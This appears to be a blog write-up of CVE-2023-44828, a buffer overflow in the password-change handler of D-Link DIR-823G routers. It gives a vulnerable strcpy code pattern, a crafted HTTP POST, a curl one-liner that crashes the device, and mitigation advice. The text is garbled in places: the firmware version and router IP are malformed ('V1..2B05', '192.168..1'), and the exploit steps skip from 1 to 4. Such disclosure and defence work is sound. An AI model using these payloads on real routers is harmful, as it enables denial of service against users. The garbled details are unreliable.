In 2023, security researchers uncovered a buffer overflow vulnerability in the D-Link DIR-823G router (hardware version A1, firmware V1..2B05). Now known as CVE-2023-44828, this bug exposes any devices running the affected firmware to potentially serious security issues. In this article, we’ll break down the vulnerability, show how it can be exploited, and provide mitigation guidance—all in straightforward, simple language.
What Is CVE-2023-44828?
CVE-2023-44828 is a buffer overflow vulnerability that exists in the web interface of certain D-Link DIR-823G routers. Specifically, it’s found in the CheckPasswdSettings function, which handles the CurrentPassword parameter when users attempt to change their router passwords.
When an attacker supplies an unusually long string for CurrentPassword, the function does not properly check the length of the input. As a result, it can overwrite critical parts of memory, which in most cases will crash the router—a classic Denial of Service (DoS) scenario. Under certain conditions, buffer overflows can also lead to remote code execution, but CVE-2023-44828 is mainly a DoS risk.
Where’s the Bug?
The issue exists in the router’s backend (probably written in C), where the code mishandles the CurrentPassword variable in CheckPasswdSettings.
This is a simplified example of the vulnerable code pattern
// Hypothetical vulnerable code (simplified)
void CheckPasswdSettings(char *CurrentPassword) {
char buf[64];
strcpy(buf, CurrentPassword); // <-- No length check!
// ...rest of function...
}
The dangerous function here is strcpy, which copies everything from CurrentPassword into buf without checking length limits. If an attacker sends a password longer than 64 bytes, it will overwrite adjacent memory.
How Is It Triggered?
Attackers can exploit this by interacting with the router’s HTTP interface.
For example, an HTTP POST request like this would do the trick (replace the URL and headers with those for your specific router):
POST /goform/SetPassword HTTP/1.1
Host: 192.168..1
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
CurrentPassword=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
In this example, the CurrentPassword field is filled with more than 64 characters (As). When this is processed, the vulnerable function overwrites memory, possibly crashing the device immediately.
Exploit: Step by Step
1. Find the Admin Interface: Connect to the router’s web interface (default: http://192.168..1).
`bash
curl -d "CurrentPassword=$(python -c 'print("A"*200)')" http://192.168..1/goform/SetPassword
`
4. Router Reboots/Crashes:
On successful exploit, legitimate users are disconnected—a simple but effective DoS attack.
Note: There’s no known public way to achieve remote code execution with this specific bug. This is mainly a Denial of Service exploit!
References
- Official CVE Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-44828
- Exploit Database Writeup: https://www.exploit-db.com/exploits/52053 *(Check for PoCs and updates)*
- D-Link security advisories: https://support.dlink.com
- Router’s official product page: D-Link DIR-823G support
How to Stay Safe
- Upgrade Firmware: If your device is running V1..2B05, check D-Link’s support website for firmware updates.
Network Segmentation: Keep your administrative interface off publicly accessible networks.
- Strong Passwords: Use unique, complex admin passwords (though in this case, the bug is with password handling logic, not brute force).
- Firewall Rules: Block access to the router’s management interface from outside your local network.
Conclusion
CVE-2023-44828 demonstrates a classic but dangerous programming mistake—failing to check buffer sizes. While it won’t let attackers take over your router, it allows anyone with network access to repeatedly kick your device offline. Make sure your firmware is up to date, and consider disabling web management from external networks.
Timeline
Published on: 10/05/2023 16:15:11 UTC
Last modified on: 10/07/2023 03:15:05 UTC